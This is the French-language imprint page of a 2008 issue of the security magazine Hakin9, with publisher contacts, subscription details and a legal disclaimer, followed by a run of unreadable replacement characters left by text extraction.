http://www.gdstudio.pl Tgi Ekonomiczna 30/36, 93-426 Łódź La rédaction utilise le système PAO
Couverture : Agnieszka Marchocka Imprimé en Pologne
Couverture CD : Łukasz Pabian
Publicité : publicite@software.com.pl AVERTISSEMENT
Abonnement : abonnement@software.com.pl Adresse de correspondance : Les techniques présentées dans les articles ne
Diffusion : Katarzyna Winiarz Software-Wydawnictwo Sp. z o.o. peuvent être utilisées qu’au sein des réseaux
katarzyna.winiarz@software.com.pl Bokserska 1, 02-682 Varsovie, Pologne internes.
Dépôt légal : à parution Tél. +48 22 427 32 87, Fax. +48 22 244 24 59 La rédaction du magazine n’est pas
ISSN : 1731-7037 www.hakin9.org responsable de l’utilisation incorrecte des
Distribution : MLP techniques présentées.
Parc d’activités de Chesnes, 55 bd de la Noirée BP Abonnement (France métropolitaine, DOM/ L’utilisation des techniques présentées peut
59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX TOM) : 1 an (soit 6 numéros) 35 € provoquer la perte des données !
(c) 2009 Software-Wydawnictwo, tous les La rédaction fait tout son possible pour
droits réservés s’assurer que les logiciels sont à jour, elle
décline toute responsabilité pour leur utilisation.

82 HAKIN9 5/2008 La rédaction se réserve le droit de modifier le contenu de la revue


������������������������������������������������������� ���������������������������������������������������������������

����������������������������
��������������������������������
�������������������������������������������������������������
�������������������������������������������
������������
���� � � �� � �� � � � � �� � � � � �� � �� � � � �� � � �� � � �� � � �� �� �� �� �� � � � � � � � � � �� � � � �
������������ �� � � � �� � � � � �� � � � �� � �� �� � � �� � �� � �� � � � � �� � � � � �� � �� ��� �� � � � � � � � � � � � � � �

You might also like